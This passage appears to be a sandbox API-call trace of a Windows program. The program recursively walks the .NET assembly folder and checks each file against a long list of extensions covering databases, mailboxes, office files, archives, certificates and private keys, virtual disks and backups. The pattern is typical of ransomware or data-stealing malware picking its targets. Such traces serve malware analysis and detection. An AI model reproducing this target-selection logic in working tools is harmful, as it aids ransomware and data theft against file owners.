returned="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls.Resources\\1.0.0.0_en_31bf3856ad364e35\\MIGUIControls.resources.dll" [0100.537] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls.Resources\\1.0.0.0_en_31bf3856ad364e35\\MIGUIControls.resources.dll", pszSpec="*.ems") returned 0 [0100.537] lstrlenA (lpString="*.ems") returned 5 [0100.537] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls.Resources\\1.0.0.0_en_31bf3856ad364e35\\MIGUIControls.resources.dll", pszSpec="*.db") returned 0 [0100.537] lstrlenA (lpString="*.db") returned 4 [0100.537] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls.Resources\\1.0.0.0_en_31bf3856ad364e35\\MIGUIControls.resources.dll", pszSpec="*.dbf") returned 0 [0100.537] lstrlenA (lpString="*.dbf") returned 5 [0100.537] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls.Resources\\1.0.0.0_en_31bf3856ad364e35\\MIGUIControls.resources.dll", pszSpec="*.myox") returned 0 [0100.537] lstrlenA (lpString="*.myox") returned 6 [0100.537] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls.Resources\\1.0.0.0_en_31bf3856ad364e35\\MIGUIControls.resources.dll", pszSpec="*.myo") returned 0 [0100.537] lstrlenA (lpString="*.myo") returned 5 [0100.537] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls.Resources\\1.0.0.0_en_31bf3856ad364e35\\MIGUIControls.resources.dll", pszSpec="*.qbw") returned 0 [0100.537] lstrlenA (lpString="*.qbw") returned 5 [0100.537] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls.Resources\\1.0.0.0_en_31bf3856ad364e35\\MIGUIControls.resources.dll", pszSpec="*.qbb") returned 0 [0100.538] lstrlenA (lpString="*.qbb") returned 5 [0100.538] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls.Resources\\1.0.0.0_en_31bf3856ad364e35\\MIGUIControls.resources.dll", pszSpec="*.qbm") returned 0 [0100.538] lstrlenA (lpString="*.qbm") returned 5 [0100.538] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls.Resources\\1.0.0.0_en_31bf3856ad364e35\\MIGUIControls.resources.dll", pszSpec="*.qbo") returned 0 [0100.538] lstrlenA (lpString="*.qbo") returned 5 [0100.538] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls.Resources\\1.0.0.0_en_31bf3856ad364e35\\MIGUIControls.resources.dll", pszSpec="*.qbx") returned 0 [0100.538] lstrlenA (lpString="*.qbx") returned 5 [0100.538] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls.Resources\\1.0.0.0_en_31bf3856ad364e35\\MIGUIControls.resources.dll", pszSpec="*.qba") returned 0 [0100.538] lstrlenA (lpString="*.qba") returned 5 [0100.538] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls.Resources\\1.0.0.0_en_31bf3856ad364e35\\MIGUIControls.resources.dll", pszSpec="*.qby") returned 0 [0100.538] lstrlenA (lpString="*.qby") returned 5 [0100.538] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls.Resources\\1.0.0.0_en_31bf3856ad364e35\\MIGUIControls.resources.dll", pszSpec="*.qbj") returned 0 [0100.538] lstrlenA (lpString="*.qbj") returned 5 [0100.538] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls.Resources\\1.0.0.0_en_31bf3856ad364e35\\MIGUIControls.resources.dll", pszSpec="*.ofx") returned 0 [0100.538] lstrlenA (lpString="*.ofx") returned 5 [0100.538] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls.Resources\\1.0.0.0_en_31bf3856ad364e35\\MIGUIControls.resources.dll", pszSpec="*.qif") returned 0 [0100.538] lstrlenA (lpString="*.qif") returned 5 [0100.538] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls.Resources\\1.0.0.0_en_31bf3856ad364e35\\MIGUIControls.resources.dll", pszSpec="*.mye") returned 0 [0100.538] lstrlenA (lpString="*.mye") returned 5 [0100.538] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls.Resources\\1.0.0.0_en_31bf3856ad364e35\\MIGUIControls.resources.dll", pszSpec="*.mbox") returned 0 [0100.538] lstrlenA (lpString="*.mbox") returned 6 [0100.538] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls.Resources\\1.0.0.0_en_31bf3856ad364e35\\MIGUIControls.resources.dll", pszSpec="*.eml") returned 0 [0100.538] lstrlenA (lpString="*.eml") returned 5 [0100.538] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls.Resources\\1.0.0.0_en_31bf3856ad364e35\\MIGUIControls.resources.dll", pszSpec="*.pst") returned 0 [0100.538] lstrlenA (lpString="*.pst") returned 5 [0100.539] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls.Resources\\1.0.0.0_en_31bf3856ad364e35\\MIGUIControls.resources.dll", pszSpec="*.ost") returned 0 [0100.539] lstrlenA (lpString="*.ost") returned 5 [0100.539] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls.Resources\\1.0.0.0_en_31bf3856ad364e35\\MIGUIControls.resources.dll", pszSpec="*.idx") returned 0 [0100.539] lstrlenA (lpString="*.idx") returned 5 [0100.539] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls.Resources\\1.0.0.0_en_31bf3856ad364e35\\MIGUIControls.resources.dll", pszSpec="*.dbx") returned 0 [0100.539] lstrlenA (lpString="*.dbx") returned 5 [0100.539] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls.Resources\\1.0.0.0_en_31bf3856ad364e35\\MIGUIControls.resources.dll", pszSpec="*.sql") returned 0 [0100.539] lstrlenA (lpString="*.sql") returned 5 [0100.539] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls.Resources\\1.0.0.0_en_31bf3856ad364e35\\MIGUIControls.resources.dll", pszSpec="*.mdb") returned 0 [0100.539] lstrlenA (lpString="*.mdb") returned 5 [0100.539] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls.Resources\\1.0.0.0_en_31bf3856ad364e35\\MIGUIControls.resources.dll", pszSpec="*.fdb") returned 0 [0100.539] lstrlenA (lpString="*.fdb") returned 5 [0100.539] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls.Resources\\1.0.0.0_en_31bf3856ad364e35\\MIGUIControls.resources.dll", pszSpec="*.wab") returned 0 [0100.539] lstrlenA (lpString="*.wab") returned 5 [0100.539] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls.Resources\\1.0.0.0_en_31bf3856ad364e35\\MIGUIControls.resources.dll", pszSpec="*.dat") returned 0 [0100.539] lstrlenA (lpString="*.dat") returned 5 [0100.539] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls.Resources\\1.0.0.0_en_31bf3856ad364e35\\MIGUIControls.resources.dll", pszSpec="*.txt") returned 0 [0100.539] lstrlenA (lpString="*.txt") returned 5 [0100.539] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls.Resources\\1.0.0.0_en_31bf3856ad364e35\\MIGUIControls.resources.dll", pszSpec="*.jpeg") returned 0 [0100.539] lstrlenA (lpString="*.jpeg") returned 6 [0100.539] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls.Resources\\1.0.0.0_en_31bf3856ad364e35\\MIGUIControls.resources.dll", pszSpec="*.jpg") returned 0 [0100.539] lstrlenA (lpString="*.jpg") returned 5 [0100.539] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls.Resources\\1.0.0.0_en_31bf3856ad364e35\\MIGUIControls.resources.dll", pszSpec="*.png") returned 0 [0100.539] lstrlenA (lpString="*.png") returned 5 [0100.539] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls.Resources\\1.0.0.0_en_31bf3856ad364e35\\MIGUIControls.resources.dll", pszSpec="*.php") returned 0 [0100.540] lstrlenA (lpString="*.php") returned 5 [0100.540] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls.Resources\\1.0.0.0_en_31bf3856ad364e35\\MIGUIControls.resources.dll", pszSpec="*.cs") returned 0 [0100.540] lstrlenA (lpString="*.cs") returned 4 [0100.540] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls.Resources\\1.0.0.0_en_31bf3856ad364e35\\MIGUIControls.resources.dll", pszSpec="*.cpp") returned 0 [0100.540] lstrlenA (lpString="*.cpp") returned 5 [0100.540] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls.Resources\\1.0.0.0_en_31bf3856ad364e35\\MIGUIControls.resources.dll", pszSpec="*.rar") returned 0 [0100.540] lstrlenA (lpString="*.rar") returned 5 [0100.540] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls.Resources\\1.0.0.0_en_31bf3856ad364e35\\MIGUIControls.resources.dll", pszSpec="*.zip") returned 0 [0100.540] lstrlenA (lpString="*.zip") returned 5 [0100.540] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls.Resources\\1.0.0.0_en_31bf3856ad364e35\\MIGUIControls.resources.dll", pszSpec="*.html") returned 0 [0100.540] lstrlenA (lpString="*.html") returned 6 [0100.540] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls.Resources\\1.0.0.0_en_31bf3856ad364e35\\MIGUIControls.resources.dll", pszSpec="*.htm") returned 0 [0100.540] lstrlenA (lpString="*.htm") returned 5 [0100.540] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls.Resources\\1.0.0.0_en_31bf3856ad364e35\\MIGUIControls.resources.dll", pszSpec="*.xlsx") returned 0 [0100.540] lstrlenA (lpString="*.xlsx") returned 6 [0100.540] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls.Resources\\1.0.0.0_en_31bf3856ad364e35\\MIGUIControls.resources.dll", pszSpec="*.xls") returned 0 [0100.541] lstrlenA (lpString="*.xls") returned 5 [0100.541] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls.Resources\\1.0.0.0_en_31bf3856ad364e35\\MIGUIControls.resources.dll", pszSpec="*.mp4") returned 0 [0100.541] lstrlenA (lpString="*.mp4") returned 5 [0100.541] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls.Resources\\1.0.0.0_en_31bf3856ad364e35\\MIGUIControls.resources.dll", pszSpec="*.ppt") returned 0 [0100.541] lstrlenA (lpString="*.ppt") returned 5 [0100.541] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls.Resources\\1.0.0.0_en_31bf3856ad364e35\\MIGUIControls.resources.dll", pszSpec="*.pptx") returned 0 [0100.541] lstrlenA (lpString="*.pptx") returned 6 [0100.541] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls.Resources\\1.0.0.0_en_31bf3856ad364e35\\MIGUIControls.resources.dll", pszSpec="*.doc") returned 0 [0100.541] lstrlenA (lpString="*.doc") returned 5 [0100.541] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls.Resources\\1.0.0.0_en_31bf3856ad364e35\\MIGUIControls.resources.dll", pszSpec="*.dot") returned 0 [0100.542] lstrlenA (lpString="*.dot") returned 5 [0100.542] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls.Resources\\1.0.0.0_en_31bf3856ad364e35\\MIGUIControls.resources.dll", pszSpec="*.docx") returned 0 [0100.542] lstrlenA (lpString="*.docx") returned 6 [0100.542] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls.Resources\\1.0.0.0_en_31bf3856ad364e35\\MIGUIControls.resources.dll", pszSpec="*.7z") returned 0 [0100.542] lstrlenA (lpString="*.7z") returned 4 [0100.542] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls.Resources\\1.0.0.0_en_31bf3856ad364e35\\MIGUIControls.resources.dll", pszSpec="*.tar") returned 0 [0100.542] lstrlenA (lpString="*.tar") returned 5 [0100.542] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls.Resources\\1.0.0.0_en_31bf3856ad364e35\\MIGUIControls.resources.dll", pszSpec="*.bz2") returned 0 [0100.542] lstrlenA (lpString="*.bz2") returned 5 [0100.542] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls.Resources\\1.0.0.0_en_31bf3856ad364e35\\MIGUIControls.resources.dll", pszSpec="*.gz") returned 0 [0100.542] lstrlenA (lpString="*.gz") returned 4 [0100.542] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls.Resources\\1.0.0.0_en_31bf3856ad364e35\\MIGUIControls.resources.dll", pszSpec="*.mkv") returned 0 [0100.542] lstrlenA (lpString="*.mkv") returned 5 [0100.542] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls.Resources\\1.0.0.0_en_31bf3856ad364e35\\MIGUIControls.resources.dll", pszSpec="*.eml") returned 0 [0100.542] lstrlenA (lpString="*.eml") returned 5 [0100.542] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls.Resources\\1.0.0.0_en_31bf3856ad364e35\\MIGUIControls.resources.dll", pszSpec="*.msg") returned 0 [0100.542] lstrlenA (lpString="*.msg") returned 5 [0100.542] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls.Resources\\1.0.0.0_en_31bf3856ad364e35\\MIGUIControls.resources.dll", pszSpec="*.edb") returned 0 [0100.542] lstrlenA (lpString="*.edb") returned 5 [0100.542] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls.Resources\\1.0.0.0_en_31bf3856ad364e35\\MIGUIControls.resources.dll", pszSpec="*.accdb") returned 0 [0100.542] lstrlenA (lpString="*.accdb") returned 7 [0100.543] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls.Resources\\1.0.0.0_en_31bf3856ad364e35\\MIGUIControls.resources.dll", pszSpec="*.odb") returned 0 [0100.543] lstrlenA (lpString="*.odb") returned 5 [0100.543] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls.Resources\\1.0.0.0_en_31bf3856ad364e35\\MIGUIControls.resources.dll", pszSpec="*.java") returned 0 [0100.543] lstrlenA (lpString="*.java") returned 6 [0100.543] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls.Resources\\1.0.0.0_en_31bf3856ad364e35\\MIGUIControls.resources.dll", pszSpec="*.asm") returned 0 [0100.543] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls.Resources\\1.0.0.0_en_31bf3856ad364e35\\MIGUIControls.resources.dll", pszSpec="*.pfx") returned 0 [0100.543] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls.Resources\\1.0.0.0_en_31bf3856ad364e35\\MIGUIControls.resources.dll", pszSpec="*.pem") returned 0 [0100.543] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls.Resources\\1.0.0.0_en_31bf3856ad364e35\\MIGUIControls.resources.dll", pszSpec="*.p12") returned 0 [0100.543] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls.Resources\\1.0.0.0_en_31bf3856ad364e35\\MIGUIControls.resources.dll", pszSpec="*.gpg") returned 0 [0100.543] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls.Resources\\1.0.0.0_en_31bf3856ad364e35\\MIGUIControls.resources.dll", pszSpec="*.vsd") returned 0 [0100.543] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls.Resources\\1.0.0.0_en_31bf3856ad364e35\\MIGUIControls.resources.dll", pszSpec="*.odg") returned 0 [0100.543] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls.Resources\\1.0.0.0_en_31bf3856ad364e35\\MIGUIControls.resources.dll", pszSpec="*.raw") returned 0 [0100.544] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls.Resources\\1.0.0.0_en_31bf3856ad364e35\\MIGUIControls.resources.dll", pszSpec="*.nef") returned 0 [0100.544] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls.Resources\\1.0.0.0_en_31bf3856ad364e35\\MIGUIControls.resources.dll", pszSpec="*.svg") returned 0 [0100.544] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls.Resources\\1.0.0.0_en_31bf3856ad364e35\\MIGUIControls.resources.dll", pszSpec="*.psd") returned 0 [0100.544] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls.Resources\\1.0.0.0_en_31bf3856ad364e35\\MIGUIControls.resources.dll", pszSpec="*.vmx") returned 0 [0100.544] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls.Resources\\1.0.0.0_en_31bf3856ad364e35\\MIGUIControls.resources.dll", pszSpec="*.vmdk") returned 0 [0100.544] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls.Resources\\1.0.0.0_en_31bf3856ad364e35\\MIGUIControls.resources.dll", pszSpec="*.vdi") returned 0 [0100.544] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls.Resources\\1.0.0.0_en_31bf3856ad364e35\\MIGUIControls.resources.dll", pszSpec="*.lay6") returned 0 [0100.544] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls.Resources\\1.0.0.0_en_31bf3856ad364e35\\MIGUIControls.resources.dll", pszSpec="*.mpeg") returned 0 [0100.544] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls.Resources\\1.0.0.0_en_31bf3856ad364e35\\MIGUIControls.resources.dll", pszSpec="*.djvu") returned 0 [0100.544] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls.Resources\\1.0.0.0_en_31bf3856ad364e35\\MIGUIControls.resources.dll", pszSpec="*.tiff") returned 0 [0100.544] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls.Resources\\1.0.0.0_en_31bf3856ad364e35\\MIGUIControls.resources.dll", pszSpec="*.backup") returned 0 [0100.544] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls.Resources\\1.0.0.0_en_31bf3856ad364e35\\MIGUIControls.resources.dll", pszSpec="*.pdf") returned 0 [0100.545] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls.Resources\\1.0.0.0_en_31bf3856ad364e35\\MIGUIControls.resources.dll", pszSpec="*.cert") returned 0 [0100.545] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls.Resources\\1.0.0.0_en_31bf3856ad364e35\\MIGUIControls.resources.dll", pszSpec="*.docm") returned 0 [0100.545] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls.Resources\\1.0.0.0_en_31bf3856ad364e35\\MIGUIControls.resources.dll", pszSpec="*.xlsm") returned 0 [0100.545] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls.Resources\\1.0.0.0_en_31bf3856ad364e35\\MIGUIControls.resources.dll", pszSpec="*.dwg") returned 0 [0100.545] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls.Resources\\1.0.0.0_en_31bf3856ad364e35\\MIGUIControls.resources.dll", pszSpec="*.nd") returned 0 [0100.545] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls.Resources\\1.0.0.0_en_31bf3856ad364e35\\MIGUIControls.resources.dll", pszSpec="*.tlg") returned 0 [0100.545] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls.Resources\\1.0.0.0_en_31bf3856ad364e35\\MIGUIControls.resources.dll", pszSpec="*.lgb") returned 0 [0100.545] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls.Resources\\1.0.0.0_en_31bf3856ad364e35\\MIGUIControls.resources.dll", pszSpec="*.mov") returned 0 [0100.545] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls.Resources\\1.0.0.0_en_31bf3856ad364e35\\MIGUIControls.resources.dll", pszSpec="*.xdw") returned 0 [0100.545] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls.Resources\\1.0.0.0_en_31bf3856ad364e35\\MIGUIControls.resources.dll", pszSpec="*.ods") returned 0 [0100.545] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls.Resources\\1.0.0.0_en_31bf3856ad364e35\\MIGUIControls.resources.dll", pszSpec="*.wav") returned 0 [0100.545] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls.Resources\\1.0.0.0_en_31bf3856ad364e35\\MIGUIControls.resources.dll", pszSpec="*.mp3") returned 0 [0100.545] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls.Resources\\1.0.0.0_en_31bf3856ad364e35\\MIGUIControls.resources.dll", pszSpec="*.aiff") returned 0 [0100.546] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls.Resources\\1.0.0.0_en_31bf3856ad364e35\\MIGUIControls.resources.dll", pszSpec="*.flac") returned 0 [0100.546] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls.Resources\\1.0.0.0_en_31bf3856ad364e35\\MIGUIControls.resources.dll", pszSpec="*.m4a") returned 0 [0100.546] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls.Resources\\1.0.0.0_en_31bf3856ad364e35\\MIGUIControls.resources.dll", pszSpec="*.csv") returned 0 [0100.546] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb6d5cd, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xbeb51b3, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xbb6d5cd, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x17b000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="MIGUIControls.resources.dll", cAlternateFileName="")) returned 0 [0100.546] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0100.546] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x38308564, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x1ef2c95d, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ef2c95d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="1.0.0.0_en_31bf3856ad364e35", cAlternateFileName="100~1.0_E")) returned 0 [0100.546] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0100.546] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdd47bc2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfdd47bc2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfdd47bc2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x69004d, dwReserved1=0x750067, cFileName="MMCEx", cAlternateFileName="")) returned 1 [0100.546] lstrcmpA (lpString1=".", lpString2="MMCEx") returned -1 [0100.546] lstrcmpA (lpString1="..", lpString2="MMCEx") returned -1 [0100.546] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\*.*") returned="*.*" [0100.546] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\", lpString2="MMCEx" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx") returned="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx" [0100.546] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdd47bc2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfdd47bc2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfdd47bc2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0100.547] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0100.547] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdd47bc2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfdd47bc2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfdd47bc2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0100.547] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0100.547] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0100.547] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdd47bc2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfdd6dd1c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfdd6dd1c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="3.0.0.0__31bf3856ad364e35", cAlternateFileName="300~1.0__")) returned 1 [0100.547] lstrcmpA (lpString1=".", lpString2="3.0.0.0__31bf3856ad364e35") returned -1 [0100.547] lstrcmpA (lpString1="..", lpString2="3.0.0.0__31bf3856ad364e35") returned -1 [0100.547] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx\\*.*") returned="*.*" [0100.547] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx\\", lpString2="3.0.0.0__31bf3856ad364e35" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx\\3.0.0.0__31bf3856ad364e35") returned="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx\\3.0.0.0__31bf3856ad364e35" [0100.548] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\MMCEx\\3.0.0.0__31bf3856ad364e35\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdd47bc2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfdd6dd1c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfdd6dd1c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0100.548] lstrcmpA (lpString1=".", lpString2=".") 